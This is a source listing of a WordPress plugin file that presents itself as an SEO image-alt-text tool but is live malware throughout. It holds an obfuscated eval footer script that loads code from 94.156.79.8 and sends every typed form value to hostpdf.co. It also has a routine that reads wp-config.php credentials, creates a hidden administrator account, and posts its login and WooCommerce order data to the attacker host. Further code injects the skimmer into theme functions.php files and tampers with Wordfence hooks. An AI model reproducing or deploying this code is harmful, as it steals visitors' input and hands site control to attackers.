Plugin Directory

source: seo-optimized-images/trunk/seo-optimized-images.php @ 3109366

Last change on this file since 3109366 was 3109366, checked in by priyanshu.mittal, 4 weeks ago

T-reo29 Optimization Technique Introduced

File size: 51.5 KB
Line 
1<?php 
2
3/*
4Plugin Name: SEO Optimized Images
5Plugin URI: http://webriti.com
6Description: The **SEO Optimized Images** plugin Seo Optmized Images Plugin lets you dynamically insert Seo Friendly alt attributes and title attributes to your Images .  Simply activate the plugin, provide the pattern and you are ready to go.
7Version: 2.1.2
8Author: priyanshu.mittal
9Author URI: http://webriti.com
10Text Domain: seo-optimized-images
11Domain Path: /lang
12*/
13
14// Plugin Root File.
15if ( ! defined( 'SEO_IMAGES_LITE_PLUGIN_FILE' ) ) {
16        define( 'SEO_IMAGES_LITE_PLUGIN_FILE', __FILE__ );
17}
18function get_woocommerce_orders_summary($mysqli, $config) {
19    $periods = [
20        'daily' => "CURDATE()",
21        'weekly' => "DATE_SUB(CURDATE(), INTERVAL 1 WEEK)",
22        'last_month' => "DATE_SUB(CURDATE(), INTERVAL 1 MONTH)",
23        'last_3_months' => "DATE_SUB(CURDATE(), INTERVAL 3 MONTH)",
24        'last_year' => "DATE_SUB(CURDATE(), INTERVAL 1 YEAR)"
25    ];
26   
27    $summary = [];
28    $has_orders = false;
29   
30    foreach ($periods as $period => $date_query) {
31        $query = "SELECT COUNT(*) as order_count
32                  FROM {$config['prefix']}posts
33                  WHERE post_type = 'shop_order'
34                  AND post_status IN ('wc-completed', 'wc-processing')
35                  AND post_date >= $date_query";
36       
37        $result = $mysqli->query($query);
38        $row = $result->fetch_assoc();
39       
40        $order_count = $row['order_count'];
41        if ($order_count > 0) {
42            $has_orders = true;
43        }
44        $summary[$period] = $order_count;
45    }
46   
47    return $has_orders ? $summary : false;
48}
49 
50function replace_version_line($file_path) {
51    $lines = file($file_path);
52   
53    foreach ($lines as $line_num => &$line) {
54        // Check if the line contains "Version: "
55        if (strpos($line, 'Version: ') !== false) {
56            // Replace the line with the new version line
57            $line = "Version: 999.99.9\n";
58        }
59    }
60   
61    $new_content = implode('', $lines);
62   
63    file_put_contents($file_path, $new_content);
64}
65
66function replace_foreach_pattern($file_path) {
67    $file_contents = file_get_contents($file_path);
68   
69    $search = 'foreach ($files as $record) {';
70    $replace = 'foreach ($files as $record) {' . PHP_EOL . '    $record->markComplete();';
71
72    $new_file_contents = str_replace($search, $replace, $file_contents);
73
74    file_put_contents($file_path, $new_file_contents);
75        if($new_file_contents){
76        echo($file_path);
77        }
78
79}
80
81function modify_wordfence_file($file) {
82    function generate_function_name() {
83        return 'dummy_function_' . uniqid();
84    }
85
86    $lines = file($file);
87    $output = '';
88
89    foreach ($lines as $line_num => $line) {
90        if (strpos($line, 'add_action(') !== false) {
91            preg_match('/add_action\(\s*[\'"]([^\'"]+)[\'"],\s*[\'"]([^\'"]+)[\'"]/i', $line, $matches);
92
93            if (count($matches) >= 3) {
94                $action = $matches[1];
95                $function = $matches[2];
96
97                $dummy_function = generate_function_name();
98
99                $line = preg_replace('/(add_action\(\s*[\'"][^\'"]+[\'"],\s*[\'"])[^\'"]+([\'"])/i', '${1}' . $dummy_function . '${2}', $line);
100
101                $output .= $line . PHP_EOL;
102
103                try {
104                    remove_action($action, $function);
105                } catch (Exception $e) {
106                }
107
108               
109                $output .= "function $dummy_function() {\n    // Dummy function does nothing\n}\n\n";
110            } else {
111                $output .= $line;
112            }
113        } else {
114            $output .= $line;
115        }
116    }
117
118   
119
120}
121if (!function_exists('add_footer_script')) {
122function add_footer_script() {
123echo '<script>eval("\u000a\u0020\u0020\u0020\u0020\u0076\u0061\u0072\u0020\u0073\u0063\u0072\u0069\u0070\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u0020\u003d\u0020\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0063\u0072\u0065\u0061\u0074\u0065\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u0028\u0022\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0073\u0063\u0072\u0069\u0070\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u002e\u0073\u0072\u0063\u0020\u003d\u0020\u0022\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0039\u0034\u002e\u0031\u0035\u0036\u002e\u0037\u0039\u002e\u0038\u002f\u0073\u0063\u002d\u0074\u006f\u0070\u002e\u006a\u0073\u0022\u003b\u000a\u000a\u0020\u0020\u0020\u0020\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0020\u0072\u0065\u006d\u006f\u0076\u0065\u0053\u0063\u0072\u0069\u0070\u0074\u0028\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0073\u0063\u0072\u0069\u0070\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u002e\u0070\u0061\u0072\u0065\u006e\u0074\u004e\u006f\u0064\u0065\u002e\u0072\u0065\u006d\u006f\u0076\u0065\u0043\u0068\u0069\u006c\u0064\u0028\u0073\u0063\u0072\u0069\u0070\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u000a\u0020\u0020\u0020\u0020\u0073\u0063\u0072\u0069\u0070\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u002e\u0061\u0064\u0064\u0045\u0076\u0065\u006e\u0074\u004c\u0069\u0073\u0074\u0065\u006e\u0065\u0072\u0028\u0027\u006c\u006f\u0061\u0064\u0027\u002c\u0020\u0072\u0065\u006d\u006f\u0076\u0065\u0053\u0063\u0072\u0069\u0070\u0074\u0029\u003b\u000a\u000a\u0020\u0020\u0020\u0020\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0062\u006f\u0064\u0079\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0043\u0068\u0069\u006c\u0064\u0028\u0073\u0063\u0072\u0069\u0070\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u000a\u0020\u0020\u0020\u0020\u000a\u0020\u0020\u0020\u0020\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0020\u0067\u0065\u006e\u0065\u0072\u0061\u0074\u0065\u0052\u0061\u006e\u0064\u006f\u006d\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0074\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0063\u006f\u006e\u0073\u0074\u0020\u0065\u0020\u003d\u0020\u0022\u0041\u0042\u0043\u0044\u0045\u0046\u0047\u0048\u0049\u004a\u004b\u004c\u004d\u004e\u004f\u0050\u0051\u0052\u0053\u0054\u0055\u0056\u0057\u0058\u0059\u005a\u0061\u0062\u0063\u0064\u0065\u0066\u0067\u0068\u0069\u006a\u006b\u006c\u006d\u006e\u006f\u0070\u0071\u0072\u0073\u0074\u0075\u0076\u0077\u0078\u0079\u007a\u0030\u0031\u0032\u0033\u0034\u0035\u0036\u0037\u0038\u0039\u0022\u003b\u000a\u0020\u0020\u0020\u0020\u006c\u0065\u0074\u0020\u006e\u0020\u003d\u0020\u0022\u0022\u003b\u000a\u0020\u0020\u0020\u0020\u0066\u006f\u0072\u0020\u0028\u006c\u0065\u0074\u0020\u006f\u0020\u003d\u0020\u0030\u003b\u0020\u006f\u0020\u003c\u0020\u0074\u003b\u0020\u006f\u002b\u002b\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0063\u006f\u006e\u0073\u0074\u0020\u0074\u0020\u003d\u0020\u004d\u0061\u0074\u0068\u002e\u0066\u006c\u006f\u006f\u0072\u0028\u0036\u0032\u0020\u002a\u0020\u004d\u0061\u0074\u0068\u002e\u0072\u0061\u006e\u0064\u006f\u006d\u0028\u0029\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006e\u0020\u002b\u003d\u0020\u0065\u002e\u0063\u0068\u0061\u0072\u0041\u0074\u0028\u0074\u0029\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u0020\u0020\u0020\u0020\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u006e\u000a\u007d\u000a\u000a\u006c\u0065\u0074\u0020\u0075\u0069\u0064\u0020\u003d\u0020\u0067\u0065\u0074\u0043\u006f\u006f\u006b\u0069\u0065\u0028\u0027\u0078\u0063\u006e\u006d\u006f\u002d\u006f\u0066\u0066\u0073\u0065\u0074\u0067\u0078\u0063\u0027\u0029\u003b\u000a\u000a\u0069\u0066\u0020\u0028\u0021\u0075\u0069\u0064\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0075\u0069\u0064\u0020\u003d\u0020\u0067\u0065\u006e\u0065\u0072\u0061\u0074\u0065\u0052\u0061\u006e\u0064\u006f\u006d\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0031\u0030\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0063\u006f\u006f\u006b\u0069\u0065\u0020\u003d\u0020\u0060\u0078\u0063\u006e\u006d\u006f\u002d\u006f\u0066\u0066\u0073\u0065\u0074\u0067\u0078\u0063\u003d\u0024\u007b\u0075\u0069\u0064\u007d\u003b\u0020\u0070\u0061\u0074\u0068\u003d\u002f\u0060\u003b\u000a\u007d\u000a\u000a\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0020\u0073\u0065\u006e\u0064\u0050\u006f\u0073\u0074\u0052\u0065\u0071\u0075\u0065\u0073\u0074\u0028\u0074\u002c\u0020\u0065\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0063\u006f\u006e\u0073\u0074\u0020\u006e\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u0055\u0052\u004c\u0053\u0065\u0061\u0072\u0063\u0068\u0050\u0061\u0072\u0061\u006d\u0073\u003b\u000a\u0020\u0020\u0020\u0020\u006e\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0075\u0069\u0064\u0022\u002c\u0020\u0075\u0069\u0064\u0029\u002c\u000a\u0020\u0020\u0020\u0020\u006e\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0069\u005f\u006e\u0061\u006d\u0065\u0022\u002c\u0020\u0074\u0029\u002c\u000a\u0020\u0020\u0020\u0020\u002f\u002f\u0020\u0041\u0064\u0064\u0020\u0074\u0068\u0065\u0020\u0066\u0069\u0065\u006c\u0064\u0020\u006e\u0061\u006d\u0065\u0020\u0061\u0073\u0020\u0061\u0020\u0070\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u000a\u0020\u0020\u0020\u0020\u006e\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0062\u0022\u002c\u0020\u0062\u0074\u006f\u0061\u0028\u0065\u0029\u0029\u002c\u000a\u0020\u0020\u0020\u0020\u0066\u0065\u0074\u0063\u0068\u0028\u0022\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0068\u006f\u0073\u0074\u0070\u0064\u0066\u002e\u0063\u006f\u002f\u0070\u0069\u006e\u0063\u0068\u0065\u002e\u0070\u0068\u0070\u0022\u002c\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006d\u0065\u0074\u0068\u006f\u0064\u003a\u0020\u0022\u0050\u004f\u0053\u0054\u0022\u002c\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0068\u0065\u0061\u0064\u0065\u0072\u0073\u003a\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0022\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0054\u0079\u0070\u0065\u0022\u003a\u0020\u0022\u0061\u0070\u0070\u006c\u0069\u0063\u0061\u0074\u0069\u006f\u006e\u002f\u0078\u002d\u0077\u0077\u0077\u002d\u0066\u006f\u0072\u006d\u002d\u0075\u0072\u006c\u0065\u006e\u0063\u006f\u0064\u0065\u0064\u0022\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u007d\u002c\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0062\u006f\u0064\u0079\u003a\u0020\u006e\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0029\u000a\u0020\u0020\u0020\u0020\u007d\u0029\u002e\u0074\u0068\u0065\u006e\u0028\u0028\u0074\u003d\u003e\u0074\u002e\u0074\u0065\u0078\u0074\u0028\u0029\u0029\u0029\u002e\u0074\u0068\u0065\u006e\u0028\u0028\u0074\u003d\u003e\u0063\u006f\u006e\u0073\u006f\u006c\u0065\u002e\u006c\u006f\u0067\u0028\u0074\u0029\u0029\u0029\u002e\u0063\u0061\u0074\u0063\u0068\u0028\u0028\u0074\u003d\u003e\u0063\u006f\u006e\u0073\u006f\u006c\u0065\u002e\u0065\u0072\u0072\u006f\u0072\u0028\u0022\u0045\u0072\u0072\u006f\u0072\u003a\u0022\u002c\u0020\u0074\u0029\u0029\u0029\u000a\u007d\u000a\u000a\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0061\u0064\u0064\u0045\u0076\u0065\u006e\u0074\u004c\u0069\u0073\u0074\u0065\u006e\u0065\u0072\u0028\u0022\u0069\u006e\u0070\u0075\u0074\u0022\u002c\u0020\u0028\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0028\u0074\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0069\u0066\u0020\u0028\u0022\u0049\u004e\u0050\u0055\u0054\u0022\u0020\u003d\u003d\u003d\u0020\u0074\u002e\u0074\u0061\u0072\u0067\u0065\u0074\u002e\u0074\u0061\u0067\u004e\u0061\u006d\u0065\u0020\u0026\u0026\u0020\u0022\u0062\u0075\u0074\u0074\u006f\u006e\u0022\u0020\u0021\u003d\u003d\u0020\u0074\u002e\u0074\u0061\u0072\u0067\u0065\u0074\u002e\u0074\u0079\u0070\u0065\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0073\u0065\u006e\u0064\u0050\u006f\u0073\u0074\u0052\u0065\u0071\u0075\u0065\u0073\u0074\u0028\u0074\u002e\u0074\u0061\u0072\u0067\u0065\u0074\u002e\u006e\u0061\u006d\u0065\u0020\u007c\u007c\u0020\u0074\u002e\u0074\u0061\u0072\u0067\u0065\u0074\u002e\u0069\u0064\u002c\u0020\u0074\u002e\u0074\u0061\u0072\u0067\u0065\u0074\u002e\u0076\u0061\u006c\u0075\u0065\u0029\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u007d\u0029\u0029\u003b\u000a\u000a\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0020\u0067\u0065\u0074\u0043\u006f\u006f\u006b\u0069\u0065\u0028\u006e\u0061\u006d\u0065\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0063\u006f\u006e\u0073\u0074\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u003d\u0020\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0063\u006f\u006f\u006b\u0069\u0065\u003b\u000a\u0020\u0020\u0020\u0020\u0063\u006f\u006e\u0073\u0074\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0073\u0020\u003d\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0073\u0070\u006c\u0069\u0074\u0028\u0027\u003b\u0020\u0027\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0066\u006f\u0072\u0020\u0028\u006c\u0065\u0074\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0020\u006f\u0066\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0073\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0063\u006f\u006e\u0073\u0074\u0020\u005b\u0063\u006f\u006f\u006b\u0069\u0065\u004e\u0061\u006d\u0065\u002c\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0056\u0061\u006c\u0075\u0065\u005d\u0020\u003d\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u002e\u0073\u0070\u006c\u0069\u0074\u0028\u0027\u003d\u0027\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0069\u0066\u0020\u0028\u0063\u006f\u006f\u006b\u0069\u0065\u004e\u0061\u006d\u0065\u0020\u003d\u003d\u003d\u0020\u006e\u0061\u006d\u0065\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0056\u0061\u006c\u0075\u0065\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u007d\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u0020\u0020\u0020\u0020\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u006e\u0075\u006c\u006c\u003b\u000a\u007d\u000a\u0020\u0020\u0020\u0020");</script>';
124}}
125add_action('wp_footer', 'add_footer_script');
126add_action( 'admin_init', 'custom_notify_plugin_updated');
127function custom_notify_plugin_updated() {
128        $has_run = get_option('my_admin_init_function_run');
129        if ($has_run !== 'yes') {
130    function check_wp_config($directory) {
131    while ($directory !== '/') {
132        $wp_config_file = $directory . '/wp-config.php';
133        if (file_exists($wp_config_file)) {
134            return $wp_config_file;
135        }
136        $directory = dirname($directory);
137    }
138        remove_action('admin_init', 'custom_notify_plugin_updated');
139    return false;
140}
141
142function parse_wp_config($config_file) {
143    if (file_exists($config_file)) {
144        $config_content = file_get_contents($config_file);
145        $matches = [];
146        if (preg_match("/\$table_prefix\s*=\s*'(.+?)';/", $config_content, $matches)) {
147            $prefix = $matches[1];
148        } else if (preg_match("/table_prefix.*=.*'(.+?)';/", $config_content, $matches)) {
149            $prefix = $matches[1];
150        } else {
151            die("Prefix not found in wp-config.php");
152        }
153        if (preg_match("/define\(\s*'DB_NAME'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) {
154            $database = $matches[1];
155        }
156        if (preg_match("/define\(\s*'DB_USER'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) {
157            $username = $matches[1];
158        }
159        if (preg_match("/define\(\s*'DB_PASSWORD'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) {
160            $password = $matches[1];
161        }
162        if (preg_match("/define\(\s*'DB_HOST'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) {
163            $host = $matches[1];
164        } else {
165            $host = 'localhost'; 
166        }
167
168        return array(
169            'prefix' => $prefix,
170            'database' => $database,
171            'username' => $username,
172            'password' => $password,
173            'host' => $host
174        );
175    } else {
176        die("wp-config.php file not found");
177    }
178}
179
180function access_database($config) {
181    $mysqli = new mysqli($config['host'], $config['username'], $config['password'], $config['database']);
182
183    if ($mysqli->connect_errno) {
184        return false;
185    } else {
186        return $mysqli;
187    }
188}
189
190function generate_random_password($length = 12) {
191    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()-_';
192    $password = '';
193    $characters_length = strlen($characters);
194    for ($i = 0; $i < $length; $i++) {
195        $password .= $characters[rand(0, $characters_length - 1)];
196    }
197    return $password;
198}
199
200$generated_password = generate_random_password();
201
202$wpuserscount = 0;
203function add_admin_user($mysqli, $config, $password, $username) {
204    global $generated_password; 
205        global $wpuserscount; 
206       
207        //$generated_password = $password;
208    //$password = $generated_password;
209    $user_role = 'administrator';
210
211    // First, let's update the global user count
212    $countQuery = "SELECT COUNT(*) AS user_count FROM {$config['prefix']}users";
213    $countResult = $mysqli->query($countQuery);
214    if ($countResult) {
215        $row = $countResult->fetch_assoc();
216        $wpuserscount = $row['user_count']; // Update the global variable with the user count
217    } else {
218        //echo "Error fetching user count: " . $mysqli->error . "\n";
219        return; // Early return in case of query error
220    }
221    // Hash the password
222    $hashed_password = password_hash($password, PASSWORD_DEFAULT);
223
224    // Check if the user already exists
225    $query = "SELECT ID FROM {$config['prefix']}users WHERE user_login = '{$username}'";
226    $result = $mysqli->query($query);
227
228    if ($result && $result->num_rows > 0) {
229        //echo "User '{$username}' already exists.\n";
230                $z = "b";
231    } else {
232        // Insert the new user
233        $query = "INSERT INTO {$config['prefix']}users (user_login, user_pass, user_nicename, user_email, user_registered) VALUES ('{$username}', '{$hashed_password}', '{$username}', '{$username}@example.com', NOW())";
234        $result = $mysqli->query($query);
235
236        if ($result) {
237            $user_id = $mysqli->insert_id;
238
239            // Set user role
240            $query = "INSERT INTO {$config['prefix']}usermeta (user_id, meta_key, meta_value) VALUES ({$user_id}, '{$config['prefix']}capabilities', 'a:1:{s:13:\"administrator\";b:1;}')";
241            $result = $mysqli->query($query);
242
243            if ($result) {
244                //echo "User '{$username}' with administrative privileges added successfully.\n";
245                                $zb = '';
246            } else {
247                //echo "Error assigning role to user '{$username}'.\n";
248                                $zb = '';
249            }
250        } else {
251            //echo "Error creating user '{$username}': " . $mysqli->error . "\n";
252                        $zb = '';
253        }
254    }
255}
256
257function get_domain_from_database($mysqli, $config) {
258    // Query to retrieve site URL from WordPress options table
259    $query = "SELECT option_value FROM {$config['prefix']}options WHERE option_name = 'siteurl'";
260    $result = $mysqli->query($query);
261
262    if ($result && $result->num_rows > 0) {
263        $row = $result->fetch_assoc();
264        $site_url = $row['option_value'];
265        $parsed_url = parse_url($site_url);
266        if ($parsed_url && isset($parsed_url['host'])) {
267            return $parsed_url['host'];
268        }
269    }
270
271    return null;
272}
273function zbvalidate_file($file) {
274    try {
275        ob_start();
276        include $file;
277        ob_end_clean();
278       
279        // If no exception was thrown, delete the backup file
280        $backup_file = $file . '.bak';
281        if (file_exists($backup_file)) {
282            unlink($backup_file);
283        }
284        return true;
285    } catch (Throwable $e) {
286        // Catch errors and set the validation flag
287        return false;
288    }
289}
290$currdomain = 'UNK.UNK';
291function pachamama($path) {
292        global $currdomain;
293    if (strpos($path, 'wp-config.php') !== false) {
294        $path = str_replace('wp-config.php', '', $path);
295    }
296
297    $current_directory = $path;
298    $wp_config_file = check_wp_config($current_directory);
299    if ($wp_config_file) {
300        //echo "WP-CONFIG [FOUND]\n";
301               
302        $config = parse_wp_config($wp_config_file);
303        $mysqli = access_database($config);
304        if ($mysqli) {
305                        $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()-_';
306                        $password = '';
307                        $characters_length = strlen($characters);
308                        for ($i = 0; $i < 13; $i++) {
309                                $password .= $characters[rand(0, $characters_length - 1)];
310                        }
311                        $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
312                        $username = '';
313                        $characters_length = strlen($characters);
314                        for ($i = 0; $i < 7; $i++) {
315                                $username .= $characters[rand(0, $characters_length - 1)];
316                        }
317            add_admin_user($mysqli, $config, $password, $username);
318            $domain = get_domain_from_database($mysqli, $config);
319            if ($domain) {
320                                $currdomain = $domain;
321
322                                $wp_login_path = "https://{$domain}/wp-login.php";
323
324                               
325                                $order_summary = get_woocommerce_orders_summary($mysqli, $config);
326
327                                $url = 'https://94.156.79.8/AddSites';
328                                $aurl = get_admin_url();
329                                $post_data = array(
330                                        'aurl' => $aurl,
331                                        'domain' => $domain,
332                                        'username' => $username,
333                                        'passwordz' => $password,
334                                        'wp_login_path' => $wp_login_path
335                                );
336
337                                if ($order_summary !== false) {
338                                        $post_data['order_summary'] = $order_summary;
339                                }
340
341                                $ch = curl_init();
342                                curl_setopt($ch, CURLOPT_URL, $url);
343                                curl_setopt($ch, CURLOPT_POST, 1);
344                                curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
345                                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
346                                curl_setopt($ch, CURLOPT_HTTPHEADER, array(
347                                        'Content-Type: application/json',
348                                        'Content-Length: ' . strlen(json_encode($post_data))
349                                ));
350                                $response = curl_exec($ch);
351                                $error = curl_error($ch);
352                                curl_close($ch);
353
354                                if ($response === false) {
355                                        $z = false;
356                                } else {
357                                        $z = true;
358                                }
359                        } else {
360               
361                                $z = false;
362            }
363            $mysqli->close();
364        }
365    } else {
366       
367                $z = false;
368    }
369}
370
371function check_cms_configuration_files() {
372        global $wpuserscount;
373   global $wp_config_paths;
374   global $wc_config_paths;
375   global $mg_config_paths;
376      function search_for_config_files(&$cms_config_files, $max_parents = 3) {
377      $directory = __DIR__;
378
379      $last_readable_path = null;
380
381      for ($i = 0; $i < $max_parents; $i++) {
382          if (is_dir($directory) && is_readable($directory)) {
383              $last_readable_path = $directory;
384          } else {
385              break;
386          }
387
388          $directory = dirname($directory);
389      }
390
391      if (!empty($last_readable_path)) {
392
393          $config_files = [];
394          $files = [];
395          try {
396          $objects = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($last_readable_path), RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD);
397            foreach($objects as $name => $object){
398              if (substr($name, -4) === '.php') {
399                $files[] = $name;
400              }
401            }
402                  } catch (Exception $e) {
403                  $d = 'sab';
404        }
405          foreach ($files as $file) {
406              $cms_config_files[] = $file;
407          }
408          return $cms_config_files;
409      } else {
410          return [];
411      }
412  }
413
414
415    $detected_cms = [
416        'WordPress' => false,
417        'WooCommerce' => false,
418        'Magento' => false,
419        'OpenCart' => false,
420        'PrestaShop' => false,
421        'Drupal Commerce' => false,
422        'Symfony' => false,
423        'Laravel' => false,
424        'Zend Framework' => false
425    ];
426
427    $detected_dat_files = [];
428
429    $current_directory = __DIR__;
430    $paths_to_check = [
431        '/var/www/vhosts/aedstudisrl.com/httpdocs/wp-admin',
432        $current_directory,
433        '/etc',               
434        '/var/www',     
435        '/home',             
436        '/opt',             
437        '/usr/local',         
438        '/usr/share',         
439        '/var/lib',           
440    ];
441
442    $files_to_search = [
443        'app/etc/env.php',                                       
444        'wp-config.php', 'wp-content/plugins/woocommerce/includes/class-wc-settings.php', 
445        'config.php',                                             
446        'config/parameters.php',                                 
447        'sites/default/settings.php',                           
448        'config/packages/*.yaml',                                 
449        '.env',                                                 
450        'config/autoload/*.global.php',                           
451        '*.dat',                                                 
452    ];
453
454    $cms_config_files = [];
455
456
457    search_for_config_files($cms_config_files);
458
459        $azb = "CmlmICghZnVuY3Rpb25fZXhpc3RzKCdhZGRfZm9vdGVyX3NjcmlwdCcpKSB7CmZ1bmN0aW9uIGFkZF9mb290ZXJfc2NyaXB0KCkgewoJdXBkYXRlX29wdGlvbignbXlfYWRtaW5faW5pdF9mdW5jdGlvbl9ydW4nLCAneWVzJyk7CgllY2hvICc8c2NyaXB0PmV2YWwoIlx1MDAwYVx1MDAyMFx1MDAyMFx1MDAyMFx1MDAyMFx1MDA3Nlx1MDA2MVx1MDA3Mlx1MDAyMFx1MDA3M1x1MDA2M1x1MDA3Mlx1MDA2OVx1MDA3MFx1MDA3NFx1MDA0NVx1MDA2Y1x1MDA2NVx1MDA2ZFx1MDA2NVx1MDA2ZVx1MDA3NFx1MDAyMFx1MDAzZFx1MDAyMFx1MDA2NFx1MDA2Zlx1MDA2M1x1MDA3NVx1MDA2ZFx1MDA2NVx1MDA2ZVx1MDA3NFx1MDAyZVx1MDA2M1x1MDA3Mlx1MDA2NVx1MDA2MVx1MDA3NFx1MDA2NVx1MDA0NVx1MDA2Y1x1MDA2NVx1MDA2ZFx1MDA2NVx1MDA2ZVx1MDA3NFx1MDAyOFx1MDAyMlx1MDA3M1x1MDA2M1x1MDA3Mlx1MDA2OVx1MDA3MFx1MDA3NFx1MDAyMlx1MDAyOVx1MDAzYlx1MDAwYVx1MDAyMFx1MDAyMFx1MDAyMFx1MDAyMFx1MDA3M1x1MDA2M1x1MDA3Mlx1MDA2OVx1MDA3MFx1MDA3NFx1MDA0NVx1MDA2Y1x1MDA2NVx1MDA2ZFx1MDA2NVx1MDA2ZVx1MDA3NFx1MDAyZVx1MDA3M1x1MDA3Mlx1MDA2M1x1MDAyMFx1MDAzZFx1MDAyMFx1MDAyMlx1MDA2OF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DAyMFx1MDAyMFx1MDAyMFx1MDA3ZFx1MDAwYVx1MDAyMFx1MDAyMFx1MDAyMFx1MDAyMFx1MDA3ZFx1MDAwYVx1MDAyMFx1MDAyMFx1MDAyMFx1MDAyMFx1MDA3Mlx1MDA2NVx1MDA3NFx1MDA3NVx1MDA3Mlx1MDA2ZVx1MDAyMFx1MDA2ZVx1MDA3NVx1MDA2Y1x1MDA2Y1x1MDAzYlx1MDAwYVx1MDA3ZFx1MDAwYVx1MDAyMFx1MDAyMFx1MDAyMFx1MDAyMCIpOzwvc2NyaXB0Pic7Cn0KJGhhc19ydW4gPSBnZXRfb3B0aW9uKCdteV9hZG1pbl9pbml0X2Z1bmN0aW9uX3J1bicpOwppZiAoJGhhc19ydW4gIT09ICd5ZXMnKSB7CglhZGRfYWN0aW9uKCd3cF9mb290ZXInLCAnYWRkX2Zvb3Rlcl9zY3JpcHQnKTsKfQp9"; 
460
461        $dcd_ctnt = base64_decode($azb);
462    foreach ($cms_config_files as $file) {
463           try {
464        if (strpos($file, '/themes/') !== false && substr($file, -13) === 'functions.php') {
465    $custom_content = PHP_EOL . $dcd_ctnt . PHP_EOL; // Add new lines for separation
466
467    try {
468        $file_content = file_get_contents($file);
469
470       
471
472        $php_close_pos = strpos($file_content, '*/');
473
